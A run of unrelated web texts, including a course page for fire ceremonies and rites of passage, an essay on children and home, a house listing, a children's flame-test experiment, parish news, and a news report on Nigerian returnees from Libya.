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Past Trainings with Salvatore Gencarelle
Past Trainings with Salvatore Gencarelle in association with the Helpers Mentoring Society.
Helpers Mentoring Society in affiliation with Circle of Life Rediscovery are offering a year-long course to individuals to learn the components of how to facilitate The Living Fire Ceremonies. Participants of this course will be introduced to the ways in which fire and the natural elements can be utilised to create ceremonial containers for connection and transformation.
To book and find out about costing Tiers please CLICK HERE
The Living Fire ceremonies can provide enhanced connection on many levels: it is a means to remember departed loved ones, to honour the ancestors, to remember our ancient relationship with the elements, to reconnect with people, to share stories, to laugh, to cry and as a way to return to inner harmony. Fire can be used to bring about a transformation in times of deep sorrow and to enhance celebrations in times of great joy. It can provide a place to enable the safe processing of grief and as a focal point during Rites of Passage. Fire ceremonies have always been a part of human history and historically been the glue that holds a community and culture together, dating back to when people first gained understanding of how to work with this element.
The Living Fire course is designed to help us return to a healthy relationship with fire and reignite the sacred fire at the center of connected community. It will help develop a new generation of Fire tenders and cultural facilitators. During this course the students will learn fire's various ceremonial applications from the perspectives of the universal, cultural and various specific lineages of fire tenders.
The teachings will include the following:
- Fire for life transitions and the challenges that can come with them
- Rites of Passage at any age
- Holding of community space for the transitions of others
- For grieving loss (including the death of loved ones)
- As a memorial for departed loved ones
- To connect to the ancestors
- For connecting and learning from nature and the elements
- To support a healthy and happy future for the unborn generations and all of creation
- To experience a vibrant and healthy community
- How to apply fire and the other elements to create personal and community ceremonial containers
The Community Fire:
During the course we will explore fire as the centre piece for connection and transformation. Students will learn how to create ceremonial space and how to apply it in a variety of uses. Students will learn about the universal ceremonial application of fire throughout history, a range of specific cultural applications and receive detailed teachings on fire from North American indigenous lineages. Through these teachings students will become keepers of this ancient wisdom and knowledge. During the year they will have the opportunity to hold responsibility for tending aspects of the ceremonial space and, on a case by case basis, holding facilitation roles.
The Fire Quest:
The participants of the Living Fire will each have an opportunity to undertake a personal Fire Quest and experience this powerful rite. For parents participating in this course, there will be an opportunity for teenage children to also do a Fire Quest. This will be a separate offering and have a separate cost (discounted for parents participating in this course). This offering will be during the September gathering and will be announced in the next months. Many people in the modern world desperately want to live a life full of connection and yet were never given the opportunity to go through any form of authentic rite of passage to support their growth out of childhood. There are many adults who find themselves locked into childlike reactions and limited views as a result. Historically, the role of connected cultures has been to ensure that each community member develops into a healthy and happy "Human Being".
The ancient cultures hold a deep understanding of the human life stages, as well as how to meet the challenges that come with these life stages. They had processes to facilitate these transitions between the stages and individuals were enabled to unfold and blossom into their own personalities - with their gifts, an understanding of their responsibility, full of vitality and incredible joy. The knowledge and understanding of the importance of rites of passage was necessary to prevent people from stagnating in their growth and personal development and getting stuck in loops of adolescent behaviour, something we often observe taking place in modern societies. How can we help ourselves and the next generation of children to become well grounded, conscious, confident and fully connected individuals? The Fire Quest is a rite of passage which was historically used to support life stage transitions. The quest involves a person being honoured by the community and then sent out from a Community Fire into nature to tend a personal fire throughout one night. During the night, the quester reflects on their life, their gifts, their wounds, and they learn directly from their interaction with the fire and nature around them.
Objectives of the Course:
To develop individuals who are competent to hold Living Fire ceremonies for their communities and a range of ceremonial applications of the Living Fire.
1) Life Initiation & Rites of Passage - Four part Training across the seasons and stages of life (February 2016 through to December 2016)
This four-part training will be led by Salvatore Gencarelle, internationally recognised trainer for the 8-Shields Institute & Helpers Mentoring Society, and supported by a team of experienced U.K nature-education facilitators and trainers.
The training is for anyone looking for an experiential programme that will enable them to be immersed in a year-long journey around the wheel of a human's Rites of Passage.
The training includes:
- Ceremonial Events - Inipi, Vision Quest, Sacred Fire
- Nature Immersion - Deep Nature Connection (Activation of our original design)
- Learning to be a Facilitator - Teaching the tools of Deep Nature Connection and the Advanced Connection Practices
- Universal Principals and Application - Laws of Life, Sacred, Natural and Human Law, Attributes
- Life Changing Process of daily connection - Core Routines, Orderly Fashion Prayer, Prayer ties
- Pre-recorded teachings adn PDF text files.
- The four gatherings in the UK will provide attendees an opportunity for an experiencing various Rites of Passage, including Purification Rites, Rites of Competency, Rites of Initiation into Womanhood/Manhood. Grief Healing Rites, Elder Initiations, Rites of Death.
- We will be offering a 'kids nature-programme' alongside the Spring (February Part 1) and Summer (Part 2) trainings during the weekends and can offer a small group mentoring programme on the week day part for a small group. Please contact Circle of Life Rediscovery for further details.
For a full description of the training please CLICK HERE.
2) Sacred Fire Quest Weekend
Date: 16th - 18th September 2016.
Location: Laughton, East Sussex.
Who should attend: Adults, families (including siblings) and young people (aged 12 – 17 years).
On September 16th – 18th 2016 we will be holding a gathering to introduce the Sacred Fire ceremony and the Rite of Passage known as the Fire Quest.
Saturday September 17th 2016 an overnight Community Sacred Fire will be held in support of any young people and adults who are ready and want to take part in the Rite of Passage called the Fire Quest.
During the weekend Salvatore Gencarelle will also be teaching about the wider uses the Sacred Fire can be put to, alongside supporting the Fire Quest that will be taking place within the temporary community that we create together.
The Community Sacred Fire is a multi-generational event that has traditionally been held at different times of need. That need can include times of deep sorrow, times of great joy and celebration, and at times of important life transitions. It is a space for the safe and supported processing of grief. It can also be a focal point for a community while their youth undertake a rite of passage into early adulthood.
The Fire Quest is a Rite of Passage which was historically used as a means to mark and support the transition from childhood into young adulthood. The quest traditionally occurs during the formative teenage years, generally between 12 and 17 years old. It involves a person being sent out from a Community Sacred Fire into a pre-prepared space nearby in nature to tend a small, personal fire throughout one night. During the night the quester is supported by the knowledge that their family and/or the rest of the community are all at the Sacred Fire which is also being tended all night long. At dawn the next day the quester is welcomed back to the Community Sacred Fire where they share their experiences from the night and a feast with the rest of the community.
Adults who choose to undertake the Fire Quest can gain deep insights into themselves, their experiences and their relationship with all of Creation.
This weekend experience provides an opportunity for you to:
- Explore and reflect upon childhood life transitions and some of the challenges that may be presented if they are not given full acknowledgement and support.
- To take part in a rite of passage that you may have missed out on in your adolescence so that you can review and reframe your experience of growing up and begin to access your full power and potential as an adult.
- To experience what it can be like to be in community where focused support for the natural transition times in life is being recognised and honoured.
3) Healing for Life - Sacred Pipe
The purpose of this 3-Part training is to assist people to develop a relationship with the Sacred Pipe (The Canupa). The Sacred Pipe is one of the 4 Universal gifts to humanity. The gift of the Sacred Pipe is to help people come into a healthy relationship with themselves, the natural world and other people. The Sacred Pipe is a tool of connection that has origins in antiquity. The concept of a Sacred Pipe can be found as a trans-cultural concept throughout the world.
This training will focus on the following both the trans-cultural aspect of the Sacred Pipe, the specific application as taught from Native America and the practice of making a sacred pipe. The students of the Healing for Life course will learn from the Lineage of a powerful healing family which hails from the people of the North American Great plains.
For more information: CLICK HERE
When: All days will finish into the late evening Part 1: November 9th, 10th 2015 (2 full days) Part 2: February 10th, 11th 2016 (2 full days) Part 3: May 18th, 19th 2016 (2 full days)
Where: Part 1: Waldron, East Sussex Part 2: Waldron, East SUssex Part 3: Waldron, East Sussex
Full Cost: £620.00
Concessionary Rate: £520.00 (please see Terms and Conditions for Eligibility Criteria)
Booking Form and Terms and Conditions: Click Here
Costs and Contribution
All money collected for these workshops/courses is to off set teaching & material costs involved in providing these workshops/trainings.
Enrolled members of Native American Tribes may attend at a minimum rate (that covers food/particular items).
We do not, nor ever, will demand payment for participation in the Ceremony (Advanced Connection Practices). All charges are to cover the training, facilitation, hosting, management and travel.
Listen to Sal on an mp3 recording talking about Rites of Passage
Click on the image below to read Sal's article in Sacred Hoop magazine describing his thoughts on how we became so removed from the natural state of honouring and respecting elders.
4) Heart and Song
Heart and Song: Teaching on the Native American Sacred Drum and Sacred Song (3 part training)
Part 1: October 25th; 26th; 27th 2014 (3 days)
Part 2: April: 14th, 15th, 16th, Friday 17th 2015 (4 days)
Part 3: June: Wednesday 24th, Thursday 25th, Friday 26th, Saturday 27th, Sunday 28th 2015 (5 days)
Costs and Contribution
All money collected for these workshops/courses is to off set costs involved in providing these workshops/trainings. There are significant costs incurred in hosting and providing these learning opportunities.
We do not, nor ever, will demand payment for participation in these Advanced Connection Practices (aka Ceremony).
People do not have to pay to smoke a Canupa or Inipi. All donations are based upon a person's willingness to support what they love and care about. Any charges are for the education and sharing of knowledge acquired through of years personal sacrifice.
In learning some of these traditions and understanding we hope to be part of a new way of thinking that right the wrongs that have occured to native people world wide and deeply address, and heal from our attitude in the West of superiority.
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Dig if you will the a picture, of me and my girl engaged in a kiss. The sweat of her body covers me but uh oh...out goes the lights! Luckily I had my handy dandy pop up solar light all charged and ready to go! Once I illuminated the room, I realized that I was making out with a mannequin wearing a raspberry beret...the kind you find at a second hand store. I was so embarrassed that I cried like a dove.4

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Fènix 11*23 has not stopped travelling and it has been in several places around the world .
At the International Film Festival in Catalan, Fic-cat, it has participated in the Feature Category in Competition and won the audience prize. It has been officially selected in the Panorama Category of the Shanghai International Film Festival (China). The "Rassegna de Cinema Catalano" in the Isola Festival (Italy) opened with the film. At the Montreal World Film Festival (Canada) it was selected in the Focus on the World Cinema Section. It was selected in the Official Panorama Section of Cinespaña 2013 in Toulouse (France). It participated in the Exhibition of Catalonia Cinema in Alghero (Italy). It was selected in the Spanish and Latin American Film Festival, Ajaccio (France). A screening was made at The Phoenix Film Society, Southampton (England). It has been selected in the Made in Catalonia Film Festival in Melbourne (Australia) where it will be screened this coming Sunday March 9th.
And in April this year it will participate in the Biennale du Cinéma Espagnol in Annecy (France) where it has been selected for the Competition Section. In May it will be screened at the cinEScultura, Festival of Spanish Film and Culture, Regensburg (Germany).


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A good measure of a culture's evolution is how it treats its women and children - and one of the most fundamental humanistic needs is having a home. Children and mothers, particularly, require a place that is physically, emotionally, psychologically and spiritually safe, yet the world over is littered with homeless people. Millions live as refugees, escaping or extradited from their homes and countries, denied this basic requirement. Even in our so called civilised world, a truly safe permanent sanctuary free from domestic violence and other manifestations of abuse and fear is still something of a luxury and out of reach for many children.I recently watched a documentary called Children of the Taliban which brought home how fragile and dangerous the world is for our children. Sharmeen Obaid-Chinoy risked her life and travelled into the once beautiful region of Swat in the North of Pakistan, to report on the terrible plight of children there, a place where as a seven year old I, too, visited. In those days, we ran free in the flower-filled meadows at the base of the Himalayas , played poos-sticks in the glassy cold streams and hide and seek behind bare boulders dropped by ancient glaciers. We weren't the only children there. Local boys and girls in colourful clothes speaking a language we didn't understand joined us in our antics, all of us eagerly exploring the wonderful wild, but still sure that when the sun set we could return to a safe building for a meal and fall asleep reflecting on our adventures.
Today, the children of my mountainside playmates can no longer roam free. Their liberty has been stolen and, more importantly, their human entitlement to a roof over their heads, a safe place to eat and sleep, a point of contact with the people who love them, their families, has all but gone. Women and children now flee their homes and only the lucky ones get to take up temporary residences in unfamiliar places, with unfamiliar people with no promise of security, stability or hope of return to their homes. The dwellings in which these children once thrived are being decimated without a moment's consideration of the impact that losing home has on the sociological and psychological welfare of these helpless victims.
It has been well documented that children who come from secure, happy homes have a better chance of actualising a healthy, stable and self supporting life of their own. A broken home in all its senses is very likely to lead to a broken life and the broken lives of many individuals contribute to societies that break down, too. You only have to look out of your back door here in Australia to see the fallout caused by taking people away from what they believed to be their home.
Each one of us has a deep and instinctual desire to be able to access a place where we can shelter from the elements, a place that gives us the space to let our guard down, rest, recuperate and regenerate in assured safety that feels like our own. Yet we have created a world where having a home is becoming a privilege and comes at a high price, literally and metaphorically. Lives are half lived and people crippled by ridiculous mortgages, rent payments and unsafe environments.
Our current economic crisis highlights how our drive to access a home has been exploited. Corrupt and mistaken attitudes that disrespect survival instincts for safety and a space to grow into ourselves have resulted in an unforgivable increase in suffering for many good people, our neighbours and our children.
Before we moved here, I hadn't quite fully experienced the apparent obsession with the monetary value of a house or the push to involve oneself with investment property. The Aussie home seems to have evolved into a financial tool, rather than a balanced medium for internal and external growth, and security. Whether this has anything to do with the fact that our white ancestors were shipped over here against their will, ripping them, too, from their homes and families, is an interesting question to ask. The predominantly calculating materialist approach and the tendency to detach from the heart of a home that exists in "settled" countries may well be the result of a deep disenfranchisement that disconnected our forefathers from the soul essence of home. Thus, the homestead has become a symbol of survival and gain, rather than a place that nurtures spiritual and psychological growth.
John Caroll in his book The Ego and the Soul: The Modern West in Search of Meaning focuses on the symbolic meaning of home. He states that a home gives us an opportunity to learn how to be ourselves. For children to start the process of finding right relationship with themselves, they need a physical space within which they can begin this journey. He postulates that our Australian preoccupation with renovation is underpinned by our attempts to feel more "at home" with ourselves because our houses are expressions of our unique needs and personalities.
As parents, we need to honour these emerging expressions of self, because anyone with children knows just how specific they can be with their spatial needs. If you look at the average house, you'll find that children's bedrooms, their special spaces where they can begin to become themselves, are often small, even pokey, with limited options for change or re-arrangement. Symbolically, this points to the fact that, collectively, we still have trouble hooking in to what supports our children's healthy personal growth.
Homes have a consciousness and the nature of the living spirits that reside within four walls, however opulent or humble, can nourish children into magnificence or destroy hope. Parents have a duty to contribute to changing the cruel, unfeeling dispassionate attitudes and social structures that are destroying our people and our world by working consciously to create physically and metaphorically sacred spaces where children can begin writing their own special stories; stories that are infused with love, support and respect for themselves and others. The home is this place, the point where the inner and outer universes overlap.
Childhood can be difficult and challenging, but it also represents the beginning of a new life reminding us that there are always opportunities to evolve and change our current world. An important key to this healthy transformation lies in the energy that we create in our environment around our children, in particular our homes. We are in danger of misinterpreting a vitally sustaining aspect of society by forgetting this energetic importance. Children are more frequently being denied continuity of personal space.
Divorces entail much to-ing and fro-ing from one parental abode to another and while the children may have all their apparent needs met, the constant change of physical space can't but affect the process of learning to be themselves.We subject our kids to the big bad world earlier nowadays so the importance of having respite is even more crucial. The underlying reason why kids spend more time outside of the home is yet another expression of the way our culture unconsciously believes that the external is more desirable than the internal: what we "do" is more valuable than who we "are". Our whole mindset is rooted in our residences being, at best, places of gestation that build us up to pack our rucksacks and head out into a more fulfilling place in life.
Phrases we connect to child rearing such as "flown the nest" and "leaving home" influence our attitude to concepts of home and unconsciously, but automatically, devalue a valuable foundation stone. We are consumed with ideas of independence. "Making it on our own" sits high on the podium, sneering smugly down at the idea of growing our internal selves, something that needs a worldly womb; a home.
If we are going to birth societies that truly support our children, we must re-evaluate our predisposition to worshipping visible human endeavour and pay some homage to the development of hidden aspects of humanity - that which grows indoors. In the process we can no longer underestimate the importance of providing and maintaining systems that acknowledge the quality of home life is a crucial factor in the evolution of a healthier, happier and more respectful society.
When we acknowledge a child's experience of home sets the scene for future wellbeing, and begin to give breath to the truth that homes are sacred places, like churches, where faith in oneself and life are fostered, we will be well on the way to a more equitable way of living.
References:The Ego and the Soul: The Modern West in Search of Meaning. John Caroll. Harper Collins-1998hildren of the Taliban: PBS Documentary by Sharmeen Obaid-Chinoy


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Don't miss this one owner ranch is Canton South! All the space you need with over 1800 square feet, this home features two living spaces on the main level including a living room with bay window plus a family room with fireplace flanked by built-in display cabinets. The open concept kitchen and dining area features ample cabinet space, peninsula, ceiling fans in both rooms and patio door access to a wonderful 3 season sunroom! All three bedrooms on the main level have ceiling fans and share the full bath with newer vinyl flooring. The finished lower level adds a rec room with bonus space that walks-out to a patio. The possible 4th bedroom is great for guests and features a fireplace with brick surround. The full bath is spacious with extended vanity and step-in shower. Outside, you have an acre with scenic country views an attached 2 car garage PLUS a 24 x 32 detached garage perfect for a workshop or to store your toys and a fenced front yard. Nicely updated with newer flooring on the main level, A/C, cement driveway, roof and a pellet stove that's used as the main heat source with the option of oil as a backup. If you're looking for a rural setting with easy access to the highway, this is it!
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Stuck in someone else's frames? break free!
CAUTION: Strict supervision must be exercised in this project.
This will be fun. We will all know how to tell if our table salt is on fire!
Straighten a paper clip and make a small loop at one end to hold stuff.
Use a pair of pliers to hold the paper clip (at the unlooped end) so that the looped end is in a flame. If the flame changes color, it will mean that the paper clip is not clean. Holding the paper clip in the flame for a bit will clean it, then the color of the flame will be the same as it was before the dirty paper clip was held in the flame.
Now, dip the loop into some table salt so that some sticks to it.
Now, when you put the loop back into the flame, the color will change again. Why do you think that is?
Brilliant scientists have learned that certain metallic elements burn with characteristic colors.
For instance, sodium is a metallic element that burns with a characteristic yellow color.
Table salt is made of sodium and chlorine (NaCl). Chlorine is not metallic, but sodium is, and that is what changes the color of the flame.
Now we can test other materials containing metallic elements and develop a table indicating the characteristic flame color of each.
(Materials containing the elements can be obtained from most drug stores.)
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Our annual parish meetings took place in the church on 16th April with the Rector, Rev. Lynn Money,
and 11 members of our electoral roll present, which was a better attendance than last year.
At the Annual Meeting of Parishioners, Ann Lansdell was re-elected to serve as churchwarden for
another year and a vote of thanks for her work over the past year was also passed. It is now several
years since we had two churchwardens, but we manage to keep going with help from others when
At the Annual Parochial Church Meeting which followed, Rupert and Alison Coggon, who had
been co-opted to the PCC last year, were formally elected as full members of the PCC for the next three
years. Michael Chesshire and Jeremy Lansdell, as our two Deanery Synod representatives, continue as
ex officio members, as does Ann as churchwarden. The other continuing lay members are Jean Allen,
Michelle Hodnett, Michael Shallow and Kirstie Turner, while Margaret Small (who has served
continuously on the PCC for more years than she cares to remember!) was appointed an honorary
member with the right (but no obligation) to attend future meetings and to receive notices, minutes and
other PCC papers. At the first meeting of the new PCC following the annual meetings, Jeremy Lansdell
was re-appointed as Vice-Chairman and Treasurer and Ann Lansdell was re-appointed as Secretary.
Looking ahead, our pattern of regular services changes in June to the following:
First Sunday of the month: Holy Communion (BCP) at 11.15am
Second Sunday: Evensong (BCP) at 6.30pm
Third Sunday: Matins (BCP) at 11.15am
Fourth Sunday: No service
In other words our regular Holy Communion and Matins services simply change places.
The next meeting of the new PCC will be on Monday, 21st May, at Church House at 7.30pm.
May 12
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Libyan Returnees: A Case For Collective Action As The Stories Continue
We saw hell, were the words of Edehe Mathias, a Libyan returnee while recanting her trauma and experience in the hands of Libyan Policeman to LEADERSHIP Friday Reporter, Blessing Bature, Edehe saida, saying, "We were hunted and humiliated, but thank God we are back home.
We saw hell, were the words of Edehe Mathias, a Libyan returnee while recanting her trauma and experience in the hands of Libyan Policeman to LEADERSHIP Friday Reporter, Blessing Bature, Edehe saida, saying, "We were hunted and humiliated, but thank God we are back home."
According to her, "many people died in Libya, but see us here, we are back to Nigeria alive. It is a thing of joy. We thank God that we are back to the country.
"We had so many bitter experiences, so many Nigerians were killed and lots of us were injured. Some were even shot." She said as she pointed to her leg, "An Arab man beat me up and shot me in the leg. But I thank God that my leg is all right now," she said.
With deep relief on her face, she added that she has no desire to ever to return to Libya.
Another victim, Lucky Iyamusa from Edo State, who narrates his tales of woe, said he traveled to Libya on June 2018, all in a bid to enter Europe, "Because of poverty and financial challenges,"
Iyamusa, who said he was an orphan and breadwinner of his surviving family, recalled that they had taken off from Lagos and passed through Kano, then found themselves in a desert. Unfortunately for Iyamusa's migrating group, there were security officials that paraded the waterways in Libya.
He said, "About 290 migrants were arrested at seaside, on November 9, including Nigerians, Malians, Ghanians. While some of us were injured, several others lost their lives. Some were taken to the hospital and had their legs amputated by the Libyan police," he narrated sadly.
Iyamusa said, "Some of us that were lucky were arrested and detained in an underground prison. When we got to the prison, we met some Nigerians who had been detained for over three years. Some of them had been there for four months and others six."
In the prison, they were fed once a day with macaroni and noodles. They were given little water to drink for the whole day. Iyamusa advised youths to work hard and settle down in Nigeria, instead of going to Libya.
Without undermining the idea that government could provide a solution to the economic problems of the country which has been a major instigator of migrants, it is imperative to look at leadership as a corporate responsibility to ameliorate the critical economic situation of the country in terms of employment opportunities and reduce the ongoing difficulties encountered in the pursuit of greener pasture.
From 2016 till date, an operation to rescue stranded Nigerians in Libya, has culminated in the repatriation of over 1,400 young Nigerians, especially teenage girls from the North African country. However, with many Nigerians still stranded in the country, there are fears that the exodus of Nigerians to Libya in search of greener pastures may not stop unless the syndicates are tracked, arrested and stopped
Following the recent wave of repatriations, it has been revealed how some parents fall for the lies and deception of the syndicates that specialise in luring young boys and girls to Libya with promise of
juicy jobs and employments. This has called for collective action in tackling the menace.
The news of the travails of Nigerians trapped in Libya and the Mediterranean went viral even as the world was stunned with the expose of return of slave trade in the 21st century. Shockingly, most of the victims are from Edo State, who fell prey to human traffickers, a global cartel with strong links to some unpatriotic Nigerians who have sold their souls to the devil.
Tracking down one of the victims who hails from a community in Kwara South, Bose Tiamiyu (true name withheld), the girl, aged 22, was one of the lucky returnees from Libya who spent almost a year in detention before the intervention of the International Organisation for Migration (IOM) in partnership with the National Emergency Management Agency (NEMA), she was repatriated back to Nigeria alongside others, recently.
Accusing the government of being the major stimulator of Nigerian migrants on such dangerous journeys, the returnee said, "If elected public officials, fulfilled even half of their electioneering campaign promises, the number of irregular migrants from Nigeria would reduce drastically."
In what appears an indictment on the federal government, a cross section of Libyan returnees said more Nigerians would continue to flee to Libya in spite of the sufferings and torture associated with such trips, except government, at all levels, become more responsive to the yearnings of the youth.
Most illegal migrants have not been as lucky as in previous years as even Europe, their dream destination, had tightened the noose for illegal migrants while the wicked trolleys capitalised on the weaknesses of institutions in the country to perpetrate their evil deeds against the victims.
Aside from being subjected to hostile weather conditions, both in the desert and on the sea, they have been reportedly confronted by hostile Libyans who molested, tortured, raped, maimed and gruesomely murdered thousands of Nigerian travelers. Several others have suffered untold and horrible experiences in prison cells across the country.
In its effort to tackle the migrant issue, the current administration established an anti-human trafficking Task Force led by the State Attorney-General and Commissioner for Justice, Prof Yinka Omorogbe, who said the returnees have all sorts of tales of woe to tell, "But we are glad that they are realising early enough."
She revealed that a returnee from Libya informed that 25 compatriots, ferried from Nigeria to Libya by a trafficker identified as Charles, perished in the Sahara Desert, in the course of the journey. The returnee, also said seven members of the group also died inside a Libyan jail from hunger and thirst.
Recently, a non-governmental organisation, the Network of Civil Society Organisations Against Child Trafficking, Abuse and Labour (NACTAL), has also urged the Federal Government and stakeholders to empower Nigerian returnees from Libya and European countries.
National President of the network, Mr Adaramola Emmanuel, gave the advice in an interview, saying that this would prevent the returnees from falling into the hands of traffickers again and the foundation and areas of interest of the returnees must be taken into consideration, while empowering them on skills acquisition.
Also speaking, governor of Edo State, Mr Godwin Obaseki, has hailed the magnanimity of the Oba of Benin, Omo N' Oba N' Edo Uku Akpolokpolo, Oba Ewaure II, for placing some returnees from Libya on salary, noting that the gesture was a landmark effort in rehabilitating the returnees.
He also called on philanthropists and business moguls to emulate the gesture.
The governor, in a statement, said that the gesture shows Oba Ewuare II's commitment to seeing that the youths, who have returned home from treacherous sojourn overseas, are catered for and protected from the vagaries of idleness.
According to the governor, "I commend the Oba's support for the returnees. This has shown that the Oba is not just committed to ensuring that our youths break loose from the grip of human trafficking, but that those who survived the hellish experience in Libya are catered for and do not have any reasons whatsoever to go back to their vomit."
Noting that the Oba Ewaure II's gesture came at a time the returnees need to be assured that they are not left in the lurch, Obaseki said, "This gesture came at the right time and will further complement the state government's efforts to rehabilitate the returnees and reintegrate them into society. We are delighted and appreciate the Oba's support since the onset of the recent campaign to stem the tide of illegal migration and human trafficking."
The governor said much as the Oba of Benin is to be commended for the gesture, it was imperative to use the opportunity to call on philanthropists, wealthy Edo businessmen and others to support the campaign by also providing such palliative measure in rehabilitating the returnees.
"We, at this juncture, want to call on our illustrious sons and daughters to join in this campaign and help our brothers and sisters as they settle back into society. The Oba's gesture is a clarion call to all. Much as the state government is committing resources to make this happen, we are certain that this cause could do with more hands. This will help build structures and institutions to stem the tide of the menace and restore our ethos and pride as a people," Obaseki said.
A cleric with the Omega Fire Ministries, Mr Azemhe Azena, has warned parents against encouraging their children to embark on illegal migration.
Azena gave the advice when he played host to Mr Solomon Okoduwa, the senior special assistant to Gov Godwin Obaseki of Edo on Illegal Migration and Human Trafficking, during a church service on Sunday in Benin, he warned that parents, who encourage their children to embark on these journeys as well as the traffickers, are working against God's purposes.
According to him, while the law of the land would catch up with them if they do not stop the act, God would also visit their sins, saying rather than embarking on a risky journey through the desert, the youths must realise that there are greater opportunities for them in Nigeria.
"Some people, especially the youths, are being deceived into embarking on this journey with lucrative offers of jobs that do not exist there. There is nothing special there that is not here. There is no better life there that is not here. It is easier to make it in Nigeria than abroad. You must make it and don't be deceived by anybody on travelling abroad for a better life" he said
He said the Obaseki administration was worried that more than half of Nigerian returnees from Libya are from Edo.
Okoduwa had said the governor was working hard to change this narrative by investing massively in human capital development and engaging youths through the Edo Job Portal.
"We have a total of 3,220 Libya returnees as I speak, but we are saying this must not be allowed to continue.
"What we are saying is that the government cannot do it all alone, we are appealing to religious leaders and the traditional institution to help mount vigorous campaigns against this menace,'' he said.
LEADERSHIP Friday recalls that Human Rights Activist and president, Initiative for Youth Awareness on Migration, Immigration, Development and Reintegration (IYAMIDR), Mr Solomon Okoduwa, who had campaigned for government to take the issue of Nigerian migrants in Libya seriously, had also made several personal sacrifices to bring the issue of Nigerian migrants in Libya to the attention of the authorities without much success until the CNN blew the issue open to the world of the modern slavery in Libya and Europe.
In his words "Now that we have thousands of Nigerians returning from their ill-fated journey in search of hope and greener pastures, it is incumbent on government and the non-state actors alike to work out their rehabilitation and reintegration into the society. It is not time for trading blames. It is time for all hands to be on deck to show them love and care. It is not a job for government alone. Government needs the support of the public in not only rehabilitating the returnees, but also to take measures to burst the cartels involved in the trade."
The returnees without capacities and skills need to be empowered. It is heart-warming to know that the state government is on the driver's seat also for this. This should not be left for government alone. Business counselors and experts need to move in to provide some technical training and support for the returnees. This is the only way society can prove and correct the injustices they have suffered.
Tackling human trafficking at all fronts would require very strong institutions. It is quite good also that the taskforce against human trafficking has tendered a bill for passage at the State House of Assembly to give bite to the campaign and set effective punitive measures against those fueling the illegal trade in the state. The proposed law must provide very stringent punishments for offenders to deter them, whether in Nigeria or abroad, from the illicit trade.
The National Assembly also needs to accelerate the Mutual Legal Assistance in Criminal Matters Bill and provide serious sanctions against human traffickers in the country and should be able to track their overseas links and dismantle them. Modern slavery must be brought to an immediate end. The onus of achieving this lies with both government and citizens.
If elected public officials, fulfilled even half of their electioneering campaign promises, the number of irregular migrants from Nigeria would reduce drastically.
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The Wisdom of Octavia Butler
About a year ago, my brother turned me on to the novel, Parable of the Sower, by the late renowned SF writer Octavia Butler. The book was a near future epic that detailied the rise of social decay in Los Angeles.
Before my son was born I had already been concerned about the future, and how life would change in Los Angeles as well as in the world if we kept heading down our current trajectory. In many ways, Butler's words gave voice to those ideas, albeit in frightening ways and with tangible power. I almost felt at times, that she was speaking about Los Angeles today, and it was disturbing how she tapped into such alternate, but increasingly possible realities.
One of the central themes that really affected was the power of ignorance, and the ways that fascism can begin to color our lives without us even knowing.
I wrote the two Parable books back in the 1990s. And they are books about, as I said, what happens because we don't trouble to correct some of the problems that we're brewing for ourselves right now. Global warming is one of those problems. And I was aware of it back in the 1980s. I was reading books about it. And a lot of people were seeing it as politics, as something very iffy, as something they could ignore because nothing was going to come of it tomorrow.
Beware, all too often we say what we hear others say. We think what we are told that we think. We see what we are permitted to see. Worse, we see what we are told that we see. Repetition and pride are the keys to this. To hear and to see even an obvious lie again and again and again, maybe to say it almost by reflex, and then to defend it because we have said it, and at last to embrace it because we've defended it.
I would highly recommend people to look into her work as she is a very important writer, one of many who see all too early what many of us have only begun to feel. Her cautionary tales paint a frightening picture of the future, and teach us how to survive what might be just around the corner.
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THE MILLION THAT CHANGED THE MIDDLE EAST: Russian Immigration to Israel
By: GALILI, Lily & BRONFMAN, Roman
Nonfiction, 2013
The huge influx of Russian Jewry to Israel between 1989 and 2012 has had profound demographic, social and political effects on the State of Israel. Fateful decision on the crucial issues of war and peace, Israel's security and its social and political policies were all dramatically influenced by this huge immigration. The impact has been felt far beyond Israel's borders and has changed the whole of the Middle East. Lily Galili and Roman Bronfman have written the first in-depth history of this extraordinary migration. With a combination of trenchant analysis and compelling individual stories, THE MILLION THAT CHANGED THE MIDDLE EAST is a revealing and valuable exploration of one of the seminal events in modern Israeli history.
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"One of its clear-cut objectives is to shatter a few of the persistent myths and stereotypes that have been attached to this large group of new immigrants. It does so in a professional and balanced manner that does not spare the rod either from veteran Israeli society or the Russian population... The Million that Changed the Middle East is an in-depth and complex historical survey, succinct and readable. It looks from a broad perspective at processes that took place and are still taking place in a shifting Israeli society." – Masha Zur Glozman, Ha'aretz
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Another episode of Serial popped up in the podcast directory today. There's only one left in the inaugural season of the podcast, which has redefined the standards by which all future podcasts are judged.
It's been analyzing the murder conviction of Adnan Syed, who was charged with killing his ex-girlfriend.
Perhaps without us knowing it, it's given us a taste of how cops, lawyers, and juries figure out who did it. Sometimes the conclusion is based on this question: "If he didn't do it, who did?"
Today, NPR's Matt Thompson asks a good question: What's the point?
If SK's (Reporter Sarah Koenig) point is that the system's messed up, she could almost have ended at episode eight, "The Deal With Jay." This is where she teases the idea that racial perceptions and loyalties could have been involved in the jury's verdict. It's also where she drops an alarming confession by a juror: despite explicit jury instructions to not consider Syed's unwillingness to testify as a factor in determining his guilt, the juror reveals, Syed's absence on the stand was a huge consideration. "We all kinda like gasped like, we were all just blown away by that," the juror says. "You know, why not, if you're a defendant, why would you not get up there and defend yourself, and try to prove that the State is wrong, that you weren't there, that you're not guilty? We were trying to be so open minded, it was just like, get up there and say something, try to persuade, even though it's not your job to persuade us, but, I don't know."
But he also answers the question.
But it's not a contemplation on the nature of the truth, or even on the nature of justice. The way Sarah Koenig tells it, Serial is a story about our system of justice working pretty much as it should, and failing miserably at providing anything that looks like justice. I think in the last episode, she's going to point out that Adnan Syed was convicted in a few hours – beyond a reasonable doubt – for the murder of Hae-Min Lee. I think she's going to say that if the concept of "beyond a reasonable doubt" meant anything, this podcast wouldn't exist, there wouldn't be a subreddit devoted to analyzing every shred of available evidence, and Adnan Syed wouldn't be in jail right now.
For all the delight Serial has provided us in its storytelling, it has forced us to often recalibrate our sensibilities. It's been an entertaining series. It's got all of us talking. But we have to remember a young girl really did die. A few lives really have been ruined.
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HOUSTON - Crowds are among the top 10 fears many people have, and since the holidays bring crowds to the roads, stores and celebrations, the chief of psychiatry at Ben Taub and Baylor College of Medicine, Dr. Asim Shah, gave six tips to help deal with anxious feelings.
Locate exits when you arrive
"If the crowd or social gathering is beginning to bother you, before you enter or as soon as you enter, you can mark down the exits, so that if it's getting too bothersome, you need to know where to get out from. You also need to know in those situations that you are not alone," Shah said.
Bring a friend
